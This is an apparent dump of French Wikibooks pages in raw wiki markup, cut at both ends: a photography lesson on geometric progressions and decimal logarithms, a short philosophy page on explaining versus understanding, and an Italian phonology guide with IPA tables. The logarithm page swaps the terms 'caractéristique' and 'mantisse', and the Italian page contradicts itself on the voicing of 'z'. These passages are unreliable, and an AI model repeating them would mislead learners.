quantité constante ou '''raison'''. Par exemple, la suite 5, 13, 21, 29, 37, 45, 53, ... est une progression arithmétique de premier terme 5 et de raison 8. Si chaque terme est obtenu en multipliant le précédent par une quantité constante, on parle alors de '''progression géométrique'''. Ainsi, la suite 3, 30, 300, 3 000, 30 000, ... constitue une progression géométrique de premier terme 3 et de raison 10. Comment débute une progression géométrique de premier terme 1 et de raison racine de 2, autrement dit 1,414 ? {| align="center" |- |width="30"|1|| |- |1,4 ||''(exactement 1,414...)'' |- |2 |- |2,8 ||''(2, 828...)'' |- |4 |- |5,6 ||''(5, 656...)'' |- |8 |- |11 ||''(11, 312...)'' |- |16 |- |22 ||''(22, 624...)'' |- |32 |- |45 ||''(45, 248...)'' |- |64 |- |... |- |} Voilà qui ressemble assez fortement aux graduations de votre diaphragme, non ? Deux progressions peuvent être liées l'une à l'autre : par exemple, si les côtés d'une série de carrés forment une progression géométrique de raison 2, alors leurs surfaces en forment une autre de raison 4 : {| align="center" |- |width="100"|côté en m |width="25"|1 |width="25"|2 |width="25"|4 |width="25"|8 |width="25"|16 |width="25"|... |- |surface en m<sup>2</sup> |1 |4 |16 |64 |256 |... |- |} De même, on peut faire correspondre une progression arithmétique et une progression géométrique, comme on le voit avec la suite des puissances de 10 : {| align="center" |- |width="35"|... |width="35"|-1 |width="35"|0 |width="35"|1 |width="35"|2 |width="35"|3 |width="35"|... |- |... |0,1 |1 |10 |100 |1000 |... |- |ou |10<sup>-1</sup> |10<sup>0</sup> |10<sup>1</sup> |10<sup>2</sup> |10<sup>3</sup> |... |- |} '''Les sens humains ne réagissent pas bien aux progressions arithmétiques !''' Si l'on prend d'une main une masse de 100 g et de l'autre une masse de 200 g, la différence est nette. Avec deux masses de 500 g et de 600 g on ne ressent plus grand chose et avec deux masses de 10 kg et de 10,1 kg, plus rien. En revanche, si chaque masse est le double de la précédente, on a le sentiment d'une progression continue. Bien sûr, pour nos sens comme d'ailleurs pour les appareils de mesure, il existe un seuil en-dessous duquel aucune perception n'est possible et un autre au-dessus duquel il y a "saturation". Une tonne dans une main, deux dans l'autre, c'est pareil ! : Reprenons les puissances de 10 : {| align="center" |- |width="35"|... |width="35"|-1 |width="35"|0 |width="35"|1 |width="35"|2 |width="35"|3 |width="35"|... |- |... |0,1 |1 |10 |100 |1000 |... |- |} Toutes les valeurs intermédiaires peuvent bien sûr se loger entre les nombres de la progression arith­métique ou de la progression géométrique. On peut alors se demander, par exemple, quel nombre A compris entre 10 et 100 correspond au nombre 1,3 inséré dans la première progression, ou quel nombre b compris entre 2 et 3 correspond au nombre 845 inséré dans la seconde... {| align="center" |- |width="35"|... |width="35"|1 |width="35"|<span style="color:#EE1111;">'''1,3'''</span> |width="35"|2 |width="35"|<span style="color:#1111EE;">&nbsp;'''b'''</span> |width="35"|3 |width="35"|... |- | | |<span style="color:#EE1111;"><math>\Downarrow \,</math></span> | |<span style="color:#1111EE;"><math>\Uparrow \,</math></span> | | |- |... |10 |<span style="color:#EE1111;">&nbsp;'''A'''</span> |100 |<span style="color:#1111EE;">'''845'''</span> |1000 |... |- |} {{Photo_01}} Philosphie/Expliquer/comprendre 5025 46105 2006-06-27T18:56:45Z Guillaumito 46 [[Expliquer/comprendre]] déplacé vers [[Philosphie/Expliquer/comprendre]]: Convention de nommage Le fait d''''expliquer''' est lié au professeur, à la personne qui détient le savoir. Ce fait est celui de rendre compréhensible, accessible à un autre une notion (abstraite ou non). Selon [[Granger]] "Expliquer, c'est montrer l'existence de liaisons entre certains faits, et en déduire que les phénomènes étudiées qui en dérivent". Ainsi expliquer revient à montrer les liens entre les faits et les idées qui en découlent. Il s'agît d'éclaircir, de faire comprendre. Celui de '''comprendre''' vient toujours après une explication. C'est le fait de saisir intellectuellement une idée, un concept,... "Je comprends le contenu d'une proposition, je l'admets comme un fait vécu" Granger. Le fait d'expliquer et de compréhension nécessite l'idée du [[langage]] commun ou du moins d'un vocabulaire spécifique qui permet la compréhension entre deux personnes. Car certes on peut expliquer une théorie scientifique en y étant totalement étranger, cela ne veut pas dire que l'on peut la comprendre. Prenons par exemple la [[loi]] de gravité de [[Newton]], elle explique certains rapports de forces par des formules mathématiques, cependant, l'énigme gravitationnelle reste pour un grand nombre de personnes et la formule mathématique, pour les personnes qui non pas appris à la lire, elle restera encore plus un mystère. ==Sources== *''La raison''-'''Granger'''-PUF *''Le manuel de Philosophie''-'''Phillipe Ducat et Jean montenot'''-Ellipses Photographie - 01 - Découverte des logarithmes 5026 32164 2006-02-09T10:50:01Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_01}} Il y a la version pessimiste, celle du Grand Contrepéteur : ''aucun étudiant n'est jamais suffisamment fort pour ce calcul'' ... Il y a aussi les nombreuses versions optimistes, qui disent : * toutes choses sont difficiles avant que d'êtres faciles (proverbe oriental). * choisis toujours le chemin qui semble le meilleur même s'il paraît plus difficile : l'habitude le rendra bientôt agréable (Pythagore). Faute d'inciter leurs lecteurs à faire un petit effort, la plupart des auteurs de livres sur la photographie sont obligés d'utiliser des raisonnements approximatifs, des périphrases, ... pour essayer, en vain le plus souvent, de se faire comprendre. Ils sont confortés dans cette idée par un enseignement des mathématiques devenu parfois tellement abscons qu'il a pour effet premier de provoquer la fuite des élèves traumatisés (et pourtant pas assez mathisés). Pour peu que les lecteurs manifestent quelque envie de savoir, il devient possible, sans céder à la facilité, de leur faire comprendre de façon simple certaines notions apparemment difficiles. == Premier contact == Reprenons l'exemple vu à la fin du chapitre précédent. Peu importe pour l'instant comment on les calcule, admettons simplement que les nombres a et b insérés dans la progression arithmétique, en haut, correspondent aux nombres A et B insérés dans la progression géométrique, en bas, tout comme 0 correspond à 1, 1 à 10, 2 à 100, 3 à 1 000, etc. {| align="center" |- |width="35"|0 |width="35"|<span style="color:#EE1111;">&nbsp;'''a'''</span> |width="35"|1 |width="35"|2 |width="35"|<span style="color:#EE1111;">&nbsp;'''b'''</span> |width="35"|3 |width="35"|... |- | |<math>\Updownarrow \,</math> | | |<math>\Updownarrow \,</math> | | |- |1 |<span style="color:#EE1111;">&nbsp;'''A'''</span> |10 |100 |<span style="color:#EE1111">&nbsp;'''B'''</span> |1000 |... |- |} En prenant pour exemples 10<sup>1</sup> = 10, ou 10<sup>2</sup> = 100, etc., prenons le risque d'écrire : <center><math>10^a = A, \quad 10^b = B, ...</math></center> Il faut élever 10 à la puissance 2 pour obtenir 100, à la puissance 3 pour obtenir 1 000, à la puissance a pour obtenir A, à la puissance b… etc. Le '''logarithme décimal''' d'un nombre est la puissance à laquelle il faut élever 10 pour obtenir ce nombre. Ainsi 0 est le logarithme de 1, 2 le logarithme de 100, a le logarithme de A, b celui de B, ... Il n'y a rien à comprendre ici, c'est seulement une définition ! Ceci posé, les logarithmes possèdent des propriétés remarquables. Nous allons tranquillement en découvrir quelques unes, pour arriver à celle qui nous intéresse au premier chef : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |'''la perception des sens humains est logarithmique !''' |- |} [[Image:NautilusCutawayLogarithmicSpiral.jpg|thumb|250px|La spirale logarithmique du Nautile]] En plus, nous vivons entourés de logarithmes, si l'on peut dire. La spirale logarithmique, par exemple, se retrouve dans la coquille du Nautile, les fleurs de tournesol, les pommes de pins, l'apex des cactus ou les lames de sécateurs. Ecrivons donc : <math>10^{logA} = A,\quad 10^{logB} = B</math> et lisons : 10 à la puissance logarithme de grand A égale grand A, ... Mais que se passe-t-il si nous essayons de multiplier A par B ? <math>A \times B = 10^{log(A \times B)} = 10^{logA} \times 10^{logB} = 10^{(logA+logB)} \,</math> {| border="1" cellpadding="5" cellspacing="0" align="center" |- | par conséquent <math>log(A \times B) = logA + logB \,</math> |- |} '''Le logarithme du produit de deux nombres est égal à la somme de leurs logarithmes'''. Cette propriété fondamentale était utilisée pour construire des règles à calcul, fidèles compagnes pendant des décennies de tous les ingénieurs et autres étudiants en sciences. La graduation tout en bas, marquée L, est dite linéaire, ses traits sont équidistants. Les deux graduations identiques gra­vées juste au-dessus sont au contraire logarithmiques, leurs traits se resserrent progressivement de la gauche vers la droite, au fur et à mesure que les valeurs augmentent. [[Image:Règle à calculs.png|700px|center]] == Trouver le logarithme d'un nombre == Revoyons de plus près les graduations de notre bonne vieille règle à calculs. Pour les besoins de la cause, les deux échelles inférieures de la règle ont été inversées sur l'image ci-dessous. [[Image:Echelle logarithmique.png|700px]] L'échelle '''a''' correspond aux nombres de 1 à 10 et l'échelle '''L''', qui est graduée de 0 à 1, à leurs logarithmes. Les graduations sont alignées pour faire correspondre le logarithme 0 au nombre 1 et le logarithme 1 au nombre 10, conformément à ce que nous savons déjà. Mais maintenant nous pouvons obtenir par une simple lecture toutes les valeurs intermédiaires. Par exemple, si nous prenons le nombre 2 sur l'échelle '''a''', nous trouvons que son logarithme vaut 0,3. Le logarithme de 5 vaut approximativement 0,7, etc. Retenons bien cette valeur particulière : <center><math>log\,2 = 0,30103 \approx 0,3 \,</math></center> Nous ne parlerons évidemment pas ici des méthodes qui permettent de calculer les logarithmes. En effet, on peut facilement élever le nombre 10 à la puissance 3, c'est-à-dire effectuer la multiplication 10 &times; 10 &times; 10 pour trouver 1000. Mais comment peut-on élever 10 à la puissance 0,3, c'est-à-dire multiplier ce nombre 0,3 fois par lui-même pour obtenir le nombre 2 ? Nos deux petites échelles nous suffiront largement ici … à condition que nous puissions calculer les logarithmes des nombres plus petits que 1 ou plus grands que 10 ! En fait tout nombre A peut être mis sous la forme du produit d'un nombre a compris entre 0 et 9,99999...par une puissance de 10. Prenons le nombre 20 par exemple : 20 = 2 &times; 10 = 10<sup>log 20</sup> = 10<sup>log (2&times;10)</sup> 20 = 10<sup>log 2</sup> &times; 10<sup>log 10</sup> = 10<sup>(log 2 + log 10)</sup> 20 = 10<sup>(log 2 + 1)</sup> donc log 20 = log 2 + 1 = 0,3 + 1 = 1,3 Plus généralement : A = a &times; 10<sup>n</sup> avec 1 &le; a < 10 Par exemple : 4917, 3 = 4,9173 &times; 10<sup>3</sup> ou encore 0,000831 = 8,31 &times; 10<sup>-4</sup> log A = log (a &times; 10<sup>n</sup>) = log a + log 10<sup>n</sup> = log a + n {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>log\,(a \times 10^n) = log\,a + n \,</math> |- |} Il en résulte que '''si nous connaissons les logarithmes des nombres compris entre 1 et 10 nous pouvons calculer tous les autres !''' <math>log \,2000 = 0,3 + 3 = 3,3 </math> <math>log \,20 = 0,3 + 1 = 1,3 </math> <math>log \,2 = 0,3 + 0 = 0,3 </math> <math>log \,0,2 = 0,3 - 1 = -0,7 = \bar{1},3 </math> <math>log \,0,00002 = 0,3 - 5 = -4,7 = \bar{5},3 </math> La notation de la fin des deux dernières lignes est un peu particulière. La première partie du nombre, coiffée d'une barre, est négative. On lit par exemple "moins 5, virgule 3". Ceci permet de conserver les chiffres après la virgule, lesquels dépendent uniquement des chiffres significatifs du nombre de départ et constituent la '''caractéristique''' de son logarithme. Avant la virgule se trouve la '''mantisse''' du logarithme, qui définit quant à elle l'ordre de grandeur du nombre d'origine. '''Remarque :''' Nous venons de définir ici les '''logarithmes décimaux''' ou logarithmes à base 10 en écrivant : <math>10^{logA} = A \,</math> En fait, au lieu de 10, nous aurions pu prendre comme base n'importe quel autre nombre N positif, il existe d'autres sortes de logarithmes : <math>N^{log_N B} = B</math> La base est précisée en indice lorsqu'elle n'est pas égale à 10, sauf pour les logarithmes népériens pour lesquels la base est le nombre irrationnel e = 2,71828 et qui se notent « ln ». Par exemple, log<sub>2</sub> x est le logarithme à base 2 du nombre x. Des formules de conversion permettent de calculer les logarithmes quelle que soit leur base. Voici quelques décennies, les règles à calcul donnaient par simple lecture des valeurs approchées des logarithmes décimaux. Des valeurs plus précises étaient tirées de "tables" imprimées. Celles des "taupins" étaient des livres de quelques centaines de pages « seulement », tandis que celles des astronomes étaient d'énormes volumes qui trônaient à portée de main sur les rayonnages. Des centaines de milliers de nombres calculés à la main, un travail colossal, avec parfois des erreurs. De nos jours les calculatrices de poche ou les ordinateurs accomplissent ces calculs en moins de temps qu'il n'en faut pour l'écrire ! {{Photo_01}} Phonologie de l'italien 5029 19436 2005-08-19T07:28:49Z 194.2.144.145 Il existe autant de prononciations de l'italien que de régions : la langue parlée n'est pas la même selon que l'on se trouve en Toscane ou dans le Piémont. La prononciation présentée ici correspond à la prononciation standard de l'italien (utilisée par les professionels de la parole) et c'est généralement celle qui est utilisée dans les manuels d'enseignement. ==L'alphabet== L'alphabet original italien contient 21 lettres : a [a], b [bi], c[t∫i], d [di], e [ɛ], f['ɛffe], g [ʤi], h ['akka], i [i], l ['ɛlle], m ['ɛmme], n ['ɛnne], o [ɔ], p [pi], q [ku], r ['ɛrre], s ['ɛsse], t [ti], u [u], v [vu] ou [vi], z ['dze:ta] Les lettres j [i 'luŋgo], k ['kappa], w ['dɔppja vu], x et y [i 'greko] ne sont employées que dans les mots d'origine étrangère : ''juventus'', ''xilofono'', etc. ==Prononciation== ===Voyelles=== Il existe 7 phonèmes vocaliques pour 6 voyelles écrites : a /a/, e /e/ ou /ɛ/, i /i/, o /o/ ou /ɔ/, u /u/, y /i/. A noter que le y provient des mots étrangers. Toutes les voyelles se pronooncent en italien. Il n'y a pas de e muet comme en français ou en allemand (fair'''e''', mach'''e'''n) Le '''a''' se prononce [a], comme le a dans le français ''patte''. Dans les régions du nord, on peut entendre le son [A] comme le français de ''pâte''.<br/> Le '''e''' présente plus de difficultés. En effet, il peut se prononcer ouvert [ɛ] comme dans le français ''fête'' ou fermé comme dans le français ''pied''. Il n'existe pas de règle unique pour permettre de connaître la prononciation correcte : * sous l'accent, le '''e''' peut être ouvert ou fermé (voilà qui fait avancer les choses...;-) * en dehors de l'accent, il se prononce '''toujours''' fermé. Ainsi ''università'' se prononce [universi'ta] alors que le français ''université'' se prononce [ynivɛRsi'te] * s'il est surmonté d'un accent grave, il se prononce ouvert : ''caffè'' [kaf'fɛ] * s'il est surmonté d'un accent aigu, il se prononce fermé : ''perché'' [per'ke]<br/> Le '''i''' et le '''y''' se prononcent [i], comme en français. S'il n'est pas sous l'accent, il peut se prononcer [j] lorsqu'il précède une autre voyelle ''mi chiamo'' [mi'kjamo] ou [ǐ] lorsqu'il suit une autre voyelle ''ormai'' [or'maǐ]<br/> Comme le '''e''', le '''o''' présente quelques difficultés : il peut se prononcé ouvert [O] comme dans le français ''or'' ou fermé comme dans ''haricot''. Les quelques règles que l'on peut donner sont sensiblement les même que pour le '''e''' : * sous l'accent, le '''o''' peut être ouvert ou fermé * en dehors de l'accent, il se prononce toujours fermé : De fait, ''torsione'' se prononce [tor'sjone] bien que le français ''torsion'' se dise [tɔr'sjõ] * lorsqu'il est en final (donc surmonté d'un accent grace), il se prononce ouvert : ''il pò'' (fleuve italien) [il'pɔ] bien qu'en français on ferme toujours le '''o''' en finale ''le pot'' [lœ'po]<br/> Le '''u''' se prononce toujours [u], comme dans le français ''ou''. Lorsqu'ils précèdent un n, le '''a''' et le '''o''' ont une légère tendance à se nasaliser (de manière très faible) mais globalement il n'existe pas de voyelle nasale en italien (contrairement au français qui en utilise 3 ou 4 selon les régions). Une des difficultés pour les francophones est de perdre leur facheuse tendance à nasaliser les voyelles devant un '''n'''. ===Consonnes=== Si les voyelles sont moins nombreuses que celles du français (7 contre 14), les consonnes sont par contre plus nombreuses. Le '''b''' se prononce [b] comme en français. <Br/> Le '''c''' possède plusieurs prononciations : * devant '''a''', '''o''' et '''u''' il se prononce [k], comme dans le français ''carte'' * devant '''i''' et '''e''' il se prononce [t∫], comme dans le français ''tchèque'' * les suites '''cia''', '''cio''' et '''ciu''' (rare) se prononcent respectivement [t∫a], [t∫o] et [t∫u] ; d'où le célèbre ''ciao'' ['t∫ao] * pour marquer le son dur devant un '''i''' ou un '''e''' on fait suivre le '''c''' d'un '''h''' : ''che'', ''chi'' [ke], [ki]<br/> Le '''d''' se prononce [d] comme en français<br/> Le '''f''' se prononce [f] comme en français<br/> Le '''g''' possède plusieurs prononciations dont les règles sont les mêmes que pour le '''c''' : * devant '''a''', '''o''' et '''u''' i lse prononce [g], comme dans le français ''gare'' * devant '''i''' et '''e''' il se prononce [ʤ] comme dans le français ''Djibouti'' * les suites '''gia''', ''gio''' et '''giu''' se prononcent respectivement [ʤa], [ʤo] et [ʤu] ; ex : Giorgio ['ʤɔrʤo] * pour maquer le son dur devant '''i''' et '''e''' on fait suivre le '''g''' d'un '''h''' ; ex : spaghetti [spa'getti] Le '''h''' est muet et ne se trouve que dans le smots étrangers et dans la conjugaison irrégulière du verbe ''avere''<br/> Le '''l''' se prononce [l] comme en français<br/> Le '''m''' se prononce [m] commme en français. Il ne nasalise jamais la consonne qui le précède Le '''n''' se prononce différemment selon la lettre qui le suit : * devant '''b''' et '''p''' il se prononce comme un '''m''' (phénomène d'assimilation) ; ex : ''un bambino'' [umbam'bi:no] * devant '''f''' et '''v''' il se prononce [ɱ], qui est se prononce comme un ''m'' mais avec les dents supérieures touchant la lèvre inférieure (comme lorsque l'on prononce un f) ; le français n'a pas d'équivalent. * devant '''c''' et '''g''' durs, il se prononce vélaire [ŋ], comme dans le '''-ng''' de ''parking-- * devant '''c''', '''g''' et '''sc''' doux, il se prononce de manière palatisé, c'est à dier comme si l'on prononçait un petit i à la suite [n<sup>j</sup>] * enfin, dans toutes les autres situations il se prononce comme le n français [n]. Bien que cela puisse paraître complexe, il n'en est rien en réalité. Simplement, le point d'articulation du /n/ se déplace pour atteindre celui de la consonne qui suite. En n'essayant pas à tout pris de prononcer un [n] mais en se laissant aller, la langue devrait se placer naturellement au point d'articulation de la consonne suivante (assimilation) et la prononciation devrait être correcte. <br/> Le '''p''' se prononce[p] comme en français<br/> Le '''qu''' se prononce [kw], comme dans le français ''aquatique''<br/> Le '''r''' se prononce [r] : il est roulé et pas seulement battu et se prononce de manière assez proche du '''rr''' espagnol.<br/> Le '''s''' peut se prononcer sourd [s] ou sonore [z] selon le contexte * entre deux voyelles il se prononce sonore, sauf dans le cas où le mot est composé et que la distinction préfixe-racine est bien identifiée ; ex : ''casa'' ['ka:za] mais risolvare (resoulever) ['risol'vare] * devant une consonne sonore, il se sonorise : turismo [tu'rizmo] ; à noter que, bien que normalement sourd dans cette position, le ''s'' devant consonne sonore tend à se sonoriser aussi en français [tu'rism] Vs [tu'rizm]. En italien, la sonorisation est cependant systématique. * dans toutes les autres positions, il est normalement sourd [s]<br/> Le '''t''' se prononce [t] comme en français<br/> Le '''v''' se prononce [v] comme en français<br/> Le '''z''' peut être sourd [ts] ou sonore [dz] : * en position initiale ou entre deux voyelles il a tendance à être prononcé sonore * dans les autres positions il est généralement prononcé sonore Digrammes et trigrammes particuliers : * '''gn''' se prononce [ɲ], c'est-à-dire comme la version longue du son français du mot ''agneau'' * '''gli''' se pronoce [ʎi] ou [ʎ] devant une autre voyelle. C'est une liquide palatale, il faut prononcer un '''l''' mais en plaquant la langue contre le palais. * '''gu''' se prononce en toute logique [gw] ; par imitation du français, les francophones ont tendance à le prononcer [g] ce qui est bien sûr à éviter. * '''sc''' se prononce [∫] devant '''i''' et '''e''' et les suites '''scia''', '''scio''' et '''sciu''' se prononcent respectivement [∫a], [∫o] et [∫u]. ===Gémination=== En italien, contrairement au français, toutes les consonnes peuvent être redoublées (comme dans le français --immense--) : otto, adaggio, accedare, etc. De plus, certains mots ont tendance à redoubler la consonne initiale du mot qui les suit : --è tardo-- a ainsi tendance à se prononcer ['Et'tardo] ==Prosodie== Il existe deux types d'accents en italien : l'accent lexical et l'accent d'énoncé (''ictus''). Les différences avec la mélodie du français sont nombreuses. Tout d'abord, le français n'a qu'un accent d'énoncé et pas d'accent lexical (par exemple, dans le groupe ''la maison verte'', l'accent est sur ''verte'' mais dans la verte maison, l'accent est sur la dernière syllabe de maison) : en français, on accentue pas les mots mais des groupes de mots.<br/> La seconde différence est qu'en français l'accent touche toujours la dernière syllabe du groupe alors qu'en italien, l'accent lexical est mobile. ===Accent lexical=== Comme il a été dit précédemment, l'accent lexical est mobile : il peut toucher la dernière syllabe, la pénultième, l'antépénultième, etc. Il consiste principalement en un allongement de la voyelle et en une augmentation de la force de la voie (on parle d'accent tonique). Il est beaucoup plus fort que l'accent français et c'est lui qui est responsable de la mélodie si caractéristique de l'italien. Les mots qui portent l'accent sur la dernière syllabe sont les suivants : * mots se terminant par une voyelle accentuée : citt'''à''' [t∫it'ta], perch'''é''' [per'ke], cioè [t∫o'e]. On appelle ces mots des ''parole tronche'' * mots étrangers se terminant par une syllabe accentuée * mots dont la sylabe finale est apocopée : cela signifie que la voyelle finale a "sauté". Phénomène très fréquent en poésie : ainsi, dizième vers de la ''divina commedia'' de Dante, on trouve : --Io non so ben ridir com'i'v'entrai-- au lieu de --Io non so bene ridire come io vi entrai--. Dans ce cas, l'accent tombe sur la derniere syllabe de --ridir--. Les verbes à l'infinitif sont très souvent apocopés ; ex : --dar del voi-- pour --dare del voi-- (vouvoyer). Une grande partie du vocabulaire a l'accent sur la pénultième, c'est-à-dire sur l'avant-dernière syllabe : parl---a---re, am---i---co, etc. Le nombre de mots accentués sur la pénultième qu'un défaut des francophones est (quand ils n'accentuent pas la dernière syllabe), d'accentuer tous les mots italiens sur la pénultième. De nombreux mots sont aussi accentués sur l'antépénultième : st---u---pido !, pr'e'ndono, etc. Enfin, des mots peuvent être accentués sur les syllabes précédentes, particulièrement lors de la fusion des pronoms avec le verbe : p---a---rlamene (parle-m'en), etc. ===Mélodie=== Bien que l'accent lexical soit très fort en italien, on trouve un second accent qui régit la prononciation de la phrase. Cela signifie qu'un groupe syntaxique dans la phrase est généralement plus accentué qu'un autre, généralement pour montrer qu'il est l'objet principal de l'énoncé. De plus, comme le français, la mélodie change selon que la phrase est impérative, déclarative ou interrogative. Seule l'écoute d'italophone permet de s'habituer à la mélodie des phrases italienne et à la reproduire. ==Syllabes== Pour finir, un petit mot sur la façon dont s'organisent les syllabes en italien, ce qui peut être utilse pour couper les mots en fin de ligne par exemple. * comme en français, une consonne simple appartient toujours à la syllabe suivante : a-mi-co, pe-ri-co-lo-so * pour les consonnes géminées, on coupe entre les deux consonnes : bel-lo, cit-tà * lorsqu'il y a deux consonnes, on coupe généralement entre les deux consonnes : ar-ti-co-lo, for-ma-zio-ne, * sauf si cette deuxième consonne est un '''l''' ou un '''r''', auquel cas on coupe avant les deux consonnes : a-pren-de-re, di-plo-ma. En fait, quel que soit la longueur du groupe de consonne, la suite ''consonne + r ou l'' est toujours indivisible : com-pli-ca-re. * les groupements avec un '''s impur''' sont indivisibles : a-sco-lta-re ; --le s impur est un s suivi d'une consonne-- == Tableau récapitulatif des phonèmes et sons de l'italien standard == Les phonèmes vocaliques sont au nombre de 7 : /a/, /e/, /E/, /i/, /o/, /O/, /u/ Soit les sons suivants : {| cellspacing="0" cellpadding="2" border="1" style="white-space: nowrap; text-align: center; background: rgb(86%, 100%, 86%); border-color: rgb(0%, 60%, 0%); border-collapse: collapse" ! colspan="12" style="background: rgb(70%, 100%, 70%)" | [[voyelle]]s de l'[[alphabet phonétique international]] |------------------------------------------------------------------------ ! rowspan="2" style="vertical-align: top;" | [[aperture]] ! colspan="10" | [[point d'articulation]] |------------------------------------------------------------------------ ! colspan="2" | [[voyelle antérieure|antérieur]] ! colspan="2" | ! colspan="2" | [[voyelle centrale|central]] ! colspan="2" | ! colspan="2" | [[voyelle postérieure|postérieur]] |------------------------------------------------- style="height: 2.4em" ! align="left" | haute (fermée) | style="width: 2.4em; border-right: hidden" | i | style="width: 2.4em" | | style="width: 2.4em; border-right: hidden" | | style="width: 2.4em" | | style="width: 2.4em; border-right: hidden" | | style="width: 2.4em" | | style="width: 2.4em; border-right: hidden" | | style="width: 2.4em" | | style="width: 2.4em; border-right: hidden" | | style="width: 2.4em" | u |------------------------------------------------ style="height: 2.4em" ! align="left" | haute inférieure | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | |------------------------------------------------ style="height: 2.4em" ! align="left" | moyenne supérieure (mi-fermée) | style="border-right: hidden" | e | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | o |------------------------------------------------ style="height: 2.4em" ! align="left" | moyenne | style="border-right: hidden" | | | style="border-right: hidden" | | | colspan="2" | | style="border-right: hidden" | | | style="border-right: hidden" | | |------------------------------------------------ style="height: 2.4em" ! align="left" | moyenne inférieure (mi-ouverte) | style="border-right: hidden" | ɛ | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | ɔ |------------------------------------------------ style="height: 2.4em" ! align="left" | basse supérieure | style="border-right: hidden" | | | style="border-right: hidden" | | | colspan="2" | | style="border-right: hidden" | | | style="border-right: hidden" | | |------------------------------------------------ style="height: 2.4em" ! align="left" | basse (ouverte) | style="border-right: hidden" | a | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | |---------------------------------------------------------------------- | colspan="11" style="background: rgb(70%, 100%, 70%)" align="left" | <div style="float: right">[[:Image:Table_of_IPA_vowels_in_French.png|voir l'image PNG]]</div>'''Paires de consonnes :''' non arrondie (à gauche) ~ arrondie (a droite)<br /><div style="float: right">[http://fr.wikipedia.org/w/wiki.phtml?title=Modèle:Voyelles_de_l'API&action=edit modifier]</div>'''Consonne centrée :''' résonance labiale non spécifiée |} Les phonèmes consonnantiques sont les suivants : /b/, /k/, /d/, /f/, /g/, /l/, /m/, /n/, /p/, /r/, /s/, /t/, /v/, /S/, /tʃ/, /dʒ/, /ɲ/, /ʎ/ Soit les sons suivants : {| cellpadding="0" cellspacing="0" border="1" nowrap style="text-align: center; background: rgb(85%, 100%, 85%); border-collapse: collapse; border: 1px solid rgb(0%, 60%, 0%)" ! colspan="27" style="background: rgb(70%, 100%, 70%)" | [[consonne]]s de l'[[alphabet phonétique international]] |---- ! rowspan="2" style="vertical-align: top" | [[mode d'articulation]] ! colspan="26" | [[point d'articulation]] |---- | colspan="2" | [[consonne bilabiale|bi-<br />labial]] | colspan="2" | [[consonne labio-dentale|labio-<br />dental]] | colspan="2" | [[consonne dentale|dental]] | colspan="2" | [[consonne alvéolaire|alvé-<br />olaire]] | colspan="2" | [[consonne post-alvéolaire|post-<br />alvé-<br />olaire]] | colspan="2" | [[consonne alvéolo-palatale|alvéolo-<br />palatal]] | colspan="2" | [[consonne rétroflexe|rétro-<br />flexe]] | colspan="2" | [[consonne palatale|palatal]] | colspan="2" | [[consonne vélaire|vélaire]] | colspan="2" | [[consonne uvulaire|uvulaire]] | colspan="2" | [[consonne pharyngale|pharyn-<br />gal]] | colspan="2" | [[consonne épiglottale|épi-<br />glottal]] | colspan="2" | [[consonne glottale|glottal]] |----- ! colspan="27" align="left" style="background: rgb(70%, 100%, 70%)" | ''Flux pulmonaire'' |----- | align="left" | [[occlusive]] | style="width: 1.5em; border-right: hidden" | p | style="width: 1.5em" | b | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em; border-right: hidden" | t | style="width: 1.5em; border-right: hidden" | d | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em" | | style="width: 1.5em; border-right: hidden" | k | style="width: 1.5em" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em" | | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em; background: rgb(50%, 50%, 50%)" | - | style="width: 1.5em; border-right: hidden" | | style="width: 1.5em; background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[affriquée]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | ''ʦ'' | ''ʣ'' | style="border-right: hidden" | ''ʧ'' | ''ʤ'' | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden" | | style="background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[fricative]] | | | style="border-right: hidden" | f | v | style="border-right: hidden" | | | style="border-right: hidden" | s | z | style="border-right: hidden" | ʃ | ʒ | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | |----- | align="left" | [[spirante]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | j | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[roulée]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | r | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; 